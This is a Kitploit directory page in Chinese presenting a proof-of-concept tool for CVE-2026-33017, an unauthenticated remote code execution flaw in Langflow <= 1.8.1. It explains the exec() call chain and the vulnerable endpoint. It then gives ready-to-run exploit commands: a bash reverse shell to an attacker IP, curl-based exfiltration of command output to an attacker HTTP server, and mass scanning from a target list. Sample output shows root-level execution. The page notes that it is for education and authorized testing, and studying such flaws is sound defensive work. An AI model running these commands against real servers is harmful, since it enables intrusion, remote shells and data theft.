Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
langflow-CVE-2026-33017-poc — CVE-2026-33017 - Langflow <= 1.8.1 通过公共 Flow 构建端点存在未认证远程代码执行漏洞 | Kitploit
工具/GitHubGitHub/maxmnml/langflow-cve-2026-33017-poc
漏洞分析漏洞利用Web应用程序漏洞利用CTF渗透测试学习与教育
GitHubmaxmnml/langflow-cve-2026-33017-poc

langflow-CVE-2026-33017-poc

CVE-2026-33017 - Langflow <= 1.8.1 通过公共 Flow 构建端点存在未认证远程代码执行漏洞

查看仓库
1045个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-33017 — Langflow 未认证 RCE PoC

CVE CVSS Affected Language

仅供教育和授权测试使用。

概述

Langflow <= 1.8.1 暴露了一个公共流程构建端点,该端点接受攻击者控制的、包含任意代码的流程数据。此代码被传递给 validate.py 中的 prepare_global_scope(),后者在无沙箱的情况下调用 exec(),从而可导致未认证的远程代码执行,并拥有服务器进程权限。

  • CVE: CVE-2026-33017
  • GHSA: GHSA-vwmf-pq79-vjvx
  • 严重性: 严重 — CVSS 9.3 (AV:N/AC:L/PR:N/UI:N)
  • 已修复版本: 1.9.0

受影响版本

包名受影响版本已修复版本
pip langflow<= 1.8.11.9.0

漏洞详情

根本原因

build_public_tmp 端点本身不要求认证——它旨在允许任何人执行已存储的公共流程。缺陷在于该端点还接受一个可选的 data 参数,其中包含攻击者控制的流程定义。因此,未认证用户可提交任意节点代码,服务器将其视为合法的流程图,并在未经验证的情况下直接传递给代码执行例程。

修复方法很简单:移除 data 参数,并强制该端点仅调用 build_graph_from_db(),使公共流程只执行已存储的数据,绝不执行攻击者提供的代码。

执行链

攻击者的载荷在到达执行点之前会经过以下调用链:

为什么模块级注入有效

validate.py 中的 prepare_global_scope() 在图编译期间处理 ast.Assign 节点——这是在调用任何流程方法之前。因此,注入代码中的顶层赋值会立即执行:

root@kitploit:~
_r = __import__('os').system("whoami")  # runs at compile time, not at flow run time

输出会进入服务器的 stdout,而不是 HTTP 响应。数据外泄需要出站回调(反向 shell、curl webhook)。

易受攻击的端点

端点认证攻击向量
POST /api/v1/build_public_tmp/{flow_id}/flow无远程,未认证

利用场景

场景要求
A — 已启用 AUTO_LOGINAUTO_LOGIN=true:匿名获取 JWT 令牌,创建 PUBLIC 流程,进行利用
B — 已知公共流程已知共享/公共流程的 UUID:直接利用,无需认证

使用方法

root@kitploit:~
pip install requests
python3 poc.py --url http://target:7860 --cmd "id"

选项

示例

重要提示: 该 PoC 在模块级使用 os.system() —— 命令会在服务器上执行,但其输出会进入服务器的 stdout,而不是返回 HTTP 响应。PoC 仅确认执行已发生([+] VULNERABLE)。要实际接收命令输出,请使用下面的数据外泄方法之一。

盲确认(验证 RCE 但不捕获输出)

root@kitploit:~
python3 poc.py --url http://target:7860 --cmd "id"

反向 shell —— 配合本地监听器

root@kitploit:~
# 1. Start a listener on your machine
nc -lvnp 4444

# 2. Send the reverse shell
python3 poc.py --url http://target:7860 --cmd "bash -c 'bash -i >& /dev/tcp/10.10.14.1/4444 0>&1'"

通过 HTTP 回调进行 OOB 外泄 —— 配合本地服务器

root@kitploit:~
# 1. Start a local HTTP server
python3 -m http.server 8080

# 2. Exfiltrate output via curl callback
python3 poc.py --url http://target:7860 --cmd "curl http://10.10.14.1:8080/\$(id | base64 -w0)"

使用已知公共流程 UUID(无需创建流程)

root@kitploit:~
python3 poc.py --url http://target:7860 --cmd "id" --flow-id <flow-uuid>

从文件进行批量扫描

root@kitploit:~
python3 poc.py --url-file targets.txt --cmd "id" --threads 10

示例输出

PoC 确认执行已发生。[+] VULNERABLE 表示构建成功且注入的代码已运行——但这不表示输出已被捕获。

root@kitploit:~
============================================================
  CVE-2026-33017 — Langflow RCE PoC
============================================================
  Targets : 1
  Command : curl http://10.10.14.1:8080/$(id | base64 -w0)
  Threads : 5  |  Timeout : 15s
============================================================

[http://target:7860] auth: JWT token obtained
[http://target:7860] flow: created (3f2a1b4c-...)
[http://target:7860] [+] VULNERABLE — RCE executed
[http://target:7860] flow: deleted (3f2a1b4c-...)

============================================================
  SUMMARY
============================================================
  [+] http://target:7860  VULNERABLE
============================================================

  1/1 target(s) vulnerable

本地 HTTP 服务器收到的输出:

root@kitploit:~
10.10.14.1 - - "GET /dWlkPTAocm9vdCkgZ2lkPTAocm9vdCkgZ3JvdXBzPTAocm9vdCk= HTTP/1.1" 200 -
# base64 -d → uid=0(root) gid=0(root) groups=0(root)

参考

  • GHSA-vwmf-pq79-vjvx
  • CVE-2026-33017
  • Langflow 仓库
  • 相关:CVE-2025-3248 — /api/v1/validate/code 上类似的 exec() 问题
下载工具
步骤文件详情
1chat.py:580build_public_tmp 在请求体中接收攻击者数据
2build.py:81start_flow_build() 转发不可信的载荷
3build.py:298build_graph_from_data() 将其传递给图构建
4base.py:1168Graph.from_payload() 反序列化攻击者提供的节点定义
5base.py:1323为每个节点调用 instantiate_component()
6loading.py:43从自定义组件参数中提取 code 字段
7eval.py:9create_class() 接收原始攻击者代码
8validate.py:397exec(compiled_code, exec_globals) — 无沙箱
标志默认值描述
--url—单个目标的 Langflow URL
--url-file—文本文件,每行一个 URL(批量扫描)
--cmdid要在目标上执行的操作系统命令
--flow-id—现有公共流程的 UUID(跳过流程创建)
--threads5批量模式下的并行线程数
--timeout15HTTP 请求超时时间(秒)
--no-cleanupfalse利用后保留所创建的流程